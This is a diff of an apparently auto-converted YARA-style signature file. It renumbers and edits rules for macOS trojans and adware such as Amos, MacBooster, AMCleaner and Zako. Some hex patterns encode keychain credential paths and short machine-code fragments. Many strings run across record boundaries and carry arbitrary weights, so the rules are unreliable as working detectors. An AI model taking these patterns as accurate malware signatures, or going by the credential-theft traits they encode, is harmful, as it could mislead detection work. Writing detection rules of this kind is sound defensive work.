69 62 72 61 72 79 2f 4b 65 79 63 68 61 69 6e 73 2f 6c 6f 67 69 6e 2e 6b 65 79 63 68 61 69 6e 2d 64 62 01 00 22 00 2f 4c 69 62 72 61 72 79 2f 4b 65 79 63 68 61 69 6e 73 2f 53 79 73 74 65 6d 2e 6b 65 79 63 68 61 69 6e 00 } //-29440 - condition: - ((#a_4c_0 & 1)*21539+(#a_02_1 & 1)*21120+(#a_00_2 & 1)*-29440) >=4 - -} -rule _InfrastructureShared_21110{ +rule _InfrastructureShared_22393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 01 00 21 " @@ -278602,7 +295047,7 @@ rule _InfrastructureShared_21110{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_21111{ +rule _InfrastructureShared_22394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -278613,7 +295058,7 @@ rule _InfrastructureShared_21111{ ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*29281) >=2 } -rule _InfrastructureShared_21112{ +rule _InfrastructureShared_22395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -278625,7 +295070,7 @@ rule _InfrastructureShared_21112{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*24948+(#a_61_2 & 1)*29816) >=3 } -rule _InfrastructureShared_21113{ +rule _InfrastructureShared_22396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 03 00 21 " @@ -278637,7 +295082,7 @@ rule _InfrastructureShared_21113{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*25344+(#a_73_2 & 1)*28265) >=5 } -rule _InfrastructureShared_21114{ +rule _InfrastructureShared_22397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -278649,7 +295094,7 @@ rule _InfrastructureShared_21114{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*26996+(#a_64_2 & 1)*27951) >=3 } -rule _InfrastructureShared_21115{ +rule _InfrastructureShared_22398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 03 00 21 " @@ -278661,7 +295106,7 @@ rule _InfrastructureShared_21115{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*25970+(#a_01_2 & 1)*11879) >=1 } -rule _InfrastructureShared_21116{ +rule _InfrastructureShared_22399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 03 00 21 " @@ -278673,7 +295118,7 @@ rule _InfrastructureShared_21116{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*28515+(#a_65_2 & 1)*21) >=4 } -rule _InfrastructureShared_21117{ +rule _InfrastructureShared_22400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -278686,7 +295131,7 @@ rule _InfrastructureShared_21117{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29793+(#a_55_2 & 1)*264+(#a_53_3 & 1)*25441) >=4 } -rule _InfrastructureShared_21118{ +rule _InfrastructureShared_22401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,0c 00 0c 00 04 00 21 " @@ -278699,7 +295144,7 @@ rule _InfrastructureShared_21118{ ((#a_4c_0 & 1)*21539+(#a_6c_1 & 1)*24947+(#a_6e_2 & 1)*25441+(#a_00_3 & 1)*65) >=12 } -rule _InfrastructureShared_21119{ +rule _InfrastructureShared_22402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -278711,7 +295156,7 @@ rule _InfrastructureShared_21119{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*28718+(#a_20_2 & 1)*24953) >=3 } -rule _InfrastructureShared_21120{ +rule _InfrastructureShared_22403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 03 00 21 " @@ -278723,7 +295168,7 @@ rule _InfrastructureShared_21120{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*29797+(#a_77_2 & 1)*27182) >=4 } -rule _InfrastructureShared_21121{ +rule _InfrastructureShared_22404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -278736,7 +295181,7 @@ rule _InfrastructureShared_21121{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*24906+(#a_61_2 & 1)*27491+(#a_67_3 & 1)*28776) >=4 } -rule _InfrastructureShared_21122{ +rule _InfrastructureShared_22405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -278748,7 +295193,7 @@ rule _InfrastructureShared_21122{ ((#a_46_0 & 1)*16675+(#a_4a_2 & 1)*25449+(#a_6f_3 & 1)*28781) >=4 } -rule _InfrastructureShared_21123{ +rule _InfrastructureShared_22406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -278760,7 +295205,7 @@ rule _InfrastructureShared_21123{ ((#a_46_0 & 1)*16675+(#a_5f_2 & 1)*24942+(#a_70_3 & 1)*286) >=5 } -rule _InfrastructureShared_21124{ +rule _InfrastructureShared_22407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,0c 00 0c 00 04 00 21 " @@ -278773,7 +295218,7 @@ rule _InfrastructureShared_21124{ ((#a_41_0 & 1)*20515+(#a_74_1 & 1)*28520+(#a_39_2 & 1)*14312+(#a_63_3 & 1)*19770) >=12 } -rule _InfrastructureShared_21125{ +rule _InfrastructureShared_22408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -278784,7 +295229,7 @@ rule _InfrastructureShared_21125{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1) >=2 } -rule _InfrastructureShared_21126{ +rule _InfrastructureShared_22409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 03 00 21 " @@ -278796,7 +295241,7 @@ rule _InfrastructureShared_21126{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*25708+(#a_41_2 & 1)*8448) >=2 } -rule _InfrastructureShared_21127{ +rule _InfrastructureShared_22410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 03 00 21 " @@ -278808,7 +295253,7 @@ rule _InfrastructureShared_21127{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29285+(#a_00_2 & 1)*2) >=4 } -rule _InfrastructureShared_21128{ +rule _InfrastructureShared_22411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -278821,7 +295266,7 @@ rule _InfrastructureShared_21128{ ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*29301+(#a_73_2 & 1)*21024+(#a_72_3 & 1)*28019) >=4 } -rule _InfrastructureShared_21129{ +rule _InfrastructureShared_22412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -278834,32 +295279,21 @@ rule _InfrastructureShared_21129{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*21325+(#a_00_2 & 1)*10+(#a_01_3 & 1)*1) >=5 } -rule _InfrastructureShared_21130{ +rule _InfrastructureShared_22413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,0c 00 0c 00 05 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 53 68 6f 70 73 6d 61 72 74 2e 44 21 4d 54 42 00 0a 00 19 00 6e 65 74 2e 73 65 61 72 63 68 6d 69 6e 65 2e 53 65 61 72 63 68 4d 69 6e 65 01 00 09 01 41 6e 79 53 65 61 72 63 68 01 00 0b 00 } //16675 - $a_4b_1 = {41 35 4b 33 55 31 01 00 0a 00 32 4c 4e 39 36 56 38 5a 54 56 01 00 0a 00 43 36 55 39 56 57 4b 4b 4c 37 00 00 03 00 8d 84 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 44 4a 21 4d 54 42 00 01 00 3a 01 55 48 89 e5 48 83 ec } //13387 - $a_7d_2 = {48 89 75 f0 48 8b 7d f8 48 89 7d e0 48 8b 45 f0 48 89 45 e8 e8 ab 7f 52 00 48 89 c1 48 8b 45 e8 48 39 c8 0f 83 05 00 00 00 e9 05 00 00 00 01 00 1b 01 55 48 89 e5 48 83 ec 10 48 89 7d f8 48 8b 7d f8 e8 8b 95 52 00 48 83 c4 10 5d c3 00 00 8d 84 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 50 55 41 3a 4d 61 63 4f 53 2f 4d 61 63 42 6f 6f 73 74 65 72 2e 47 21 4d 54 42 00 03 00 22 01 63 6f 6d 2e 69 6f 62 69 74 2e 4d } //18464 - $a_6c_3 = {54 6f 6f 6c 65 72 44 61 65 6d 6f 6e 2e 70 6c 69 73 74 01 00 1e 01 41 70 70 6c 69 63 61 74 69 6f 6e 20 53 75 70 70 6f 72 74 2f 4d 61 63 42 6f 6f 73 74 65 72 01 00 0f 01 70 65 72 73 69 73 74 65 6e 74 2d 61 70 70 73 00 00 8d 84 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f } //18498 - $a_4d_4 = {6c 65 61 6e 65 72 2e 4d 21 4d 54 42 00 02 00 0e 01 63 6f 6d 2e 74 65 63 68 79 75 74 69 6c 2e 01 00 0a 01 56 53 39 51 38 42 52 52 52 4a 01 00 14 01 6d 74 63 75 6e 69 6e 73 74 61 6c 6c 68 6c 70 72 } //12115 + $a_4b_1 = {41 35 4b 33 55 31 01 00 0a 00 32 4c 4e 39 36 56 38 5a 54 56 01 00 0a 00 43 36 55 39 56 57 4b 4b 4c 37 00 00 03 00 8d 84 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 50 55 41 3a 4d 61 63 4f 53 2f 4d 61 63 42 6f 6f 73 74 65 72 2e 47 21 4d 54 42 00 03 00 22 01 63 6f 6d 2e 69 } //13387 + $a_74_2 = {4d 42 48 65 6c 70 54 6f 6f 6c 65 72 44 61 65 6d 6f 6e 2e 70 6c 69 73 74 01 00 1e 01 41 70 70 6c 69 63 61 74 69 6f 6e 20 53 75 70 70 6f 72 74 2f 4d 61 63 42 6f 6f 73 74 65 72 01 00 0f 01 70 65 72 73 69 73 74 65 6e 74 2d 61 70 70 73 00 00 8d 84 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 } //25199 + $a_2f_3 = {4d 43 6c 65 61 6e 65 72 2e 4d 21 4d 54 42 00 02 00 0e 01 63 6f 6d 2e 74 65 63 68 79 75 74 69 6c 2e 01 00 0a 01 56 53 39 51 38 42 52 52 52 4a 01 00 14 01 6d 74 63 75 6e 69 6e 73 74 61 6c 6c 68 6c 70 72 2e 61 70 70 01 00 1a 02 62 67 74 63 2e 6d 61 63 } //20323 + $a_61_4 = {74 } //656 t condition: - ((#a_46_0 & 1)*16675+(#a_4b_1 & 1)*13387+(#a_7d_2 & 1)*18464+(#a_6c_3 & 1)*18498+(#a_4d_4 & 1)*12115) >=12 + ((#a_46_0 & 1)*16675+(#a_4b_1 & 1)*13387+(#a_74_2 & 1)*25199+(#a_2f_3 & 1)*20323+(#a_61_4 & 1)*656) >=12 } -rule _InfrastructureShared_21131{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 44 4a 21 4d 54 42 00 01 00 3a 01 55 48 89 e5 48 83 ec 20 48 89 7d f8 48 89 75 f0 48 8b 7d f8 48 89 7d e0 48 8b 45 f0 48 89 45 e8 e8 ab 7f 52 00 48 89 c1 } //21539 - $a_e8_1 = {39 c8 0f 83 05 00 00 00 e9 05 00 00 00 01 00 1b 01 55 48 89 e5 48 83 ec 10 48 89 7d f8 48 8b 7d f8 e8 8b 95 52 00 48 83 c4 10 5d c3 00 00 8d 84 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 50 55 41 3a 4d 61 63 } //-29880 - condition: - ((#a_4c_0 & 1)*21539+(#a_e8_1 & 1)*-29880) >=2 - -} -rule _InfrastructureShared_21132{ +rule _InfrastructureShared_22414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 03 00 21 " @@ -278871,7 +295305,7 @@ rule _InfrastructureShared_21132{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*26996+(#a_52_2 & 1)*16952) >=4 } -rule _InfrastructureShared_21133{ +rule _InfrastructureShared_22415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -278884,7 +295318,7 @@ rule _InfrastructureShared_21133{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*27756+(#a_74_2 & 1)*29281+(#a_20_3 & 1)*25956) >=4 } -rule _InfrastructureShared_21134{ +rule _InfrastructureShared_22416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -278896,7 +295330,7 @@ rule _InfrastructureShared_21134{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25962+(#a_67_2 & 1)*16741) >=4 } -rule _InfrastructureShared_21135{ +rule _InfrastructureShared_22417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -278909,7 +295343,7 @@ rule _InfrastructureShared_21135{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*9+(#a_5f_3 & 1)*19712+(#a_2f_4 & 1)*20323) >=4 } -rule _InfrastructureShared_21136{ +rule _InfrastructureShared_22418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 04 00 21 " @@ -278922,7 +295356,7 @@ rule _InfrastructureShared_21136{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*17473+(#a_5f_2 & 1)*19712+(#a_8b_3 & 1)*12288) >=6 } -rule _InfrastructureShared_21137{ +rule _InfrastructureShared_22419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 02 00 21 " @@ -278933,7 +295367,7 @@ rule _InfrastructureShared_21137{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144) >=3 } -rule _InfrastructureShared_21138{ +rule _InfrastructureShared_22420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -278946,7 +295380,7 @@ rule _InfrastructureShared_21138{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*26996+(#a_00_2 & 1)*28519+(#a_72_3 & 1)*20480) >=4 } -rule _InfrastructureShared_21139{ +rule _InfrastructureShared_22421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -278958,7 +295392,7 @@ rule _InfrastructureShared_21139{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*25445+(#a_74_2 & 1)*25974) >=4 } -rule _InfrastructureShared_21140{ +rule _InfrastructureShared_22422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -278971,7 +295405,7 @@ rule _InfrastructureShared_21140{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*27745+(#a_00_2 & 1)*2+(#a_00_3 & 1)*1) >=4 } -rule _InfrastructureShared_21141{ +rule _InfrastructureShared_22423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 04 00 21 " @@ -278983,7 +295417,7 @@ rule _InfrastructureShared_21141{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29285+(#a_4b_2 & 1)*16896) >=6 } -rule _InfrastructureShared_21142{ +rule _InfrastructureShared_22424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 06 00 21 " @@ -278998,7 +295432,7 @@ rule _InfrastructureShared_21142{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28483+(#a_74_2 & 1)*28265+(#a_2b_3 & 1)*30068+(#a_53_4 & 1)*25441+(#a_2e_5 & 1)*30074) >=6 } -rule _InfrastructureShared_21143{ +rule _InfrastructureShared_22425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -279010,7 +295444,7 @@ rule _InfrastructureShared_21143{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*27745+(#a_75_2 & 1)*24946) >=3 } -rule _InfrastructureShared_21144{ +rule _InfrastructureShared_22426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -279024,7 +295458,7 @@ rule _InfrastructureShared_21144{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*28515+(#a_2e_2 & 1)*12850+(#a_73_3 & 1)*25381+(#a_74_4 & 1)*18222) >=4 } -rule _InfrastructureShared_21145{ +rule _InfrastructureShared_22427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -279037,7 +295471,7 @@ rule _InfrastructureShared_21145{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_87_3 & 1)*0) >=5 } -rule _InfrastructureShared_21146{ +rule _InfrastructureShared_22428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -279051,7 +295485,7 @@ rule _InfrastructureShared_21146{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*19564+(#a_63_2 & 1)*26946+(#a_72_3 & 1)*26471+(#a_53_4 & 1)*14930) >=5 } -rule _InfrastructureShared_21147{ +rule _InfrastructureShared_22429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 06 00 21 " @@ -279066,7 +295500,7 @@ rule _InfrastructureShared_21147{ ((#a_41_0 & 1)*20515+(#a_6f_1 & 1)*29555+(#a_69_2 & 1)*28492+(#a_65_3 & 1)*30068+(#a_72_4 & 1)*17455+(#a_00_5 & 1)*-29440) >=6 } -rule _InfrastructureShared_21148{ +rule _InfrastructureShared_22430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -279078,7 +295512,7 @@ rule _InfrastructureShared_21148{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28265+(#a_2e_2 & 1)*30053) >=3 } -rule _InfrastructureShared_21149{ +rule _InfrastructureShared_22431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 03 00 21 " @@ -279090,7 +295524,7 @@ rule _InfrastructureShared_21149{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*28521+(#a_65_2 & 1)*26948) >=4 } -rule _InfrastructureShared_21150{ +rule _InfrastructureShared_22432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -279103,7 +295537,7 @@ rule _InfrastructureShared_21150{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*22344+(#a_00_2 & 1)*0+(#a_4c_3 & 1)*8993) >=4 } -rule _InfrastructureShared_21151{ +rule _InfrastructureShared_22433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -279116,7 +295550,7 @@ rule _InfrastructureShared_21151{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*31092+(#a_00_2 & 1)*2+(#a_00_3 & 1)*1) >=4 } -rule _InfrastructureShared_21152{ +rule _InfrastructureShared_22434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -279129,7 +295563,7 @@ rule _InfrastructureShared_21152{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*24932+(#a_69_2 & 1)*29998+(#a_61_3 & 1)*21347) >=4 } -rule _InfrastructureShared_21153{ +rule _InfrastructureShared_22435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -279140,7 +295574,7 @@ rule _InfrastructureShared_21153{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*28781) >=5 } -rule _InfrastructureShared_21154{ +rule _InfrastructureShared_22436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -279153,7 +295587,7 @@ rule _InfrastructureShared_21154{ ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*21570+(#a_6e_2 & 1)*28484+(#a_3a_3 & 1)*21587) >=5 } -rule _InfrastructureShared_21155{ +rule _InfrastructureShared_22437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 04 00 21 " @@ -279166,7 +295600,7 @@ rule _InfrastructureShared_21155{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*26207+(#a_4b_2 & 1)*28524+(#a_6c_3 & 1)*26955) >=6 } -rule _InfrastructureShared_21156{ +rule _InfrastructureShared_22438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -279179,7 +295613,7 @@ rule _InfrastructureShared_21156{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_21157{ +rule _InfrastructureShared_22439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -279192,7 +295626,7 @@ rule _InfrastructureShared_21157{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*24909+(#a_74_2 & 1)*28245+(#a_61_3 & 1)*14930) >=4 } -rule _InfrastructureShared_21158{ +rule _InfrastructureShared_22440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 04 00 06 00 21 " @@ -279207,7 +295641,7 @@ rule _InfrastructureShared_21158{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*19810+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*2) >=4 } -rule _InfrastructureShared_21159{ +rule _InfrastructureShared_22441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 05 00 21 " @@ -279221,7 +295655,7 @@ rule _InfrastructureShared_21159{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*28265+(#a_65_2 & 1)*30575+(#a_00_3 & 1)*67+(#a_87_4 & 1)*-19711) >=6 } -rule _InfrastructureShared_21160{ +rule _InfrastructureShared_22442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -279229,12 +295663,12 @@ rule _InfrastructureShared_21160{ $a_46_0 = {45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 44 69 64 6e 61 72 62 6f 69 73 2e 42 00 02 00 13 00 63 6f 6d 2e 66 6f 63 75 73 62 72 6f 77 73 65 31 33 32 38 01 00 1c 00 46 6f 63 75 73 42 72 6f 77 73 65 31 35 53 65 74 74 69 6e 67 73 4d } //16675 $a_67_1 = {72 01 00 17 00 46 6f 63 75 73 42 72 6f 77 73 65 5f 65 78 74 65 6e 73 69 6f 6e 31 35 01 00 0a 00 39 34 36 47 41 33 32 4b 38 34 00 00 03 00 8d 8c 00 00 03 00 03 00 03 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 61 78 4f 66 66 65 72 44 65 61 6c 2e 43 00 01 00 23 01 b3 80 87 85 8d b5 e7 84 a1 aa } //28257 $a_b1_2 = {89 b8 b8 a4 a1 ab a9 bc a1 a7 a6 e8 9b bd b8 b8 a7 ba bc e7 01 00 2d 03 44 8b 68 04 48 89 df e8 90 01 03 00 48 85 c0 74 dc 8a 18 84 db 74 d6 41 83 c5 07 41 83 e5 f8 4c 89 f9 4c 29 e9 48 c1 e9 03 31 d2 90 00 01 00 0d 00 6b 65 79 65 6e 75 6d 65 72 61 74 6f 72 00 00 8d 8c 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 4d 43 6c 65 61 6e 65 72 2e 4a 21 4d 54 42 00 01 00 15 00 63 6f 6d 2e 74 65 63 68 79 75 74 69 6c 2e 6d 61 66 74 61 73 6b 01 00 14 00 67 65 74 50 61 74 68 46 72 6f 6d 41 64 6f 62 50 6c 69 73 74 01 00 13 } //-22086 - $a_6b_3 = {65 6e 74 69 72 65 74 72 61 63 6b 2e 63 6f 6d 01 00 12 00 73 69 6c 65 6e 74 79 54 72 61 63 6b 49 6e 4d 61 69 6e 00 00 03 00 8d 8d 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 61 63 4f 53 2f 41 64 6c 6f 61 64 2e 50 21 4d 54 42 00 01 00 22 03 49 89 d6 48 89 c3 48 8d 7d e0 e8 90 01 04 48 89 df } //29696 + $a_6b_3 = {65 6e 74 69 72 65 74 72 61 63 6b 2e 63 6f 6d 01 00 12 00 73 69 6c 65 6e 74 79 54 72 61 63 6b 49 6e 4d 61 69 6e 00 00 03 00 8d 8d 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 5a 61 6b 6f 2e 41 21 4d 54 42 00 02 00 24 00 2f 4c 69 62 72 61 72 79 2f 49 6e 74 65 72 6e 65 74 20 50 6c 75 67 2d 49 6e 73 2f 75 } //29696 condition: ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*28257+(#a_b1_2 & 1)*-22086+(#a_6b_3 & 1)*29696) >=4 } -rule _InfrastructureShared_21161{ +rule _InfrastructureShared_22443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -279246,30 +295680,20 @@ rule _InfrastructureShared_21161{ ((#a_41_0 & 1)*20515+(#a_83_1 & 1)*-10636+(#a_41_2 & 1)*21327) >=3 } -rule _InfrastructureShared_21162{ +rule _InfrastructureShared_22444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 4d 43 6c 65 61 6e 65 72 2e 4a 21 4d 54 42 00 01 00 15 00 63 6f 6d 2e 74 65 63 68 79 75 74 69 6c 2e 6d 61 66 74 61 73 6b 01 00 14 00 67 65 74 50 61 74 68 46 72 6f 6d 41 64 6f 62 50 6c } //16675 - $a_01_1 = {00 13 00 74 72 6b 2e 65 6e 74 69 72 65 74 72 61 63 6b 2e 63 6f 6d 01 00 12 00 73 69 6c 65 6e 74 79 54 72 61 63 6b 49 6e 4d 61 69 6e 00 00 03 00 8d 8d 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 61 63 4f 53 2f 41 64 6c 6f 61 64 2e 50 21 4d 54 42 00 01 00 22 03 49 89 d6 48 89 c3 48 8d 7d e0 e8 90 } //29545 - $a_89_2 = {e8 90 01 04 41 83 fe 02 75 90 01 01 48 8b 38 90 00 01 00 31 03 4d 8b 6e 60 4b 8b 7c 3d f0 e8 90 01 04 4b 8b 4c 3d f8 4b 8b 54 3d 00 4c 89 e7 48 89 c6 e8 90 01 04 48 ff c3 49 63 46 68 49 83 c7 18 48 39 c3 90 00 00 00 } //1025 + $a_01_1 = {00 13 00 74 72 6b 2e 65 6e 74 69 72 65 74 72 61 63 6b 2e 63 6f 6d 01 00 12 00 73 69 6c 65 6e 74 79 54 72 61 63 6b 49 6e 4d 61 69 6e 00 00 03 00 8d 8d 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 5a 61 6b 6f 2e 41 21 4d 54 42 00 02 00 24 00 2f 4c 69 62 72 61 72 79 2f 49 6e 74 65 72 6e 65 74 20 50 6c 75 67 2d } //29545 + $a_2f_2 = {69 64 2e 70 6c 69 73 74 01 00 10 00 63 6f 6d 2e 7a 61 6b 6f 4c 69 62 2e 7a 61 6b 6f 01 00 24 00 63 6f 6d 2e 73 65 61 72 63 68 7a 61 6b 6f 73 6f 6c 75 74 69 6f 6e 2e 53 61 66 61 72 69 4f 6d 6e 69 62 61 72 00 00 02 00 8d 8d 00 00 03 00 03 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 46 6b 43 6f 64 65 63 2e 42 00 01 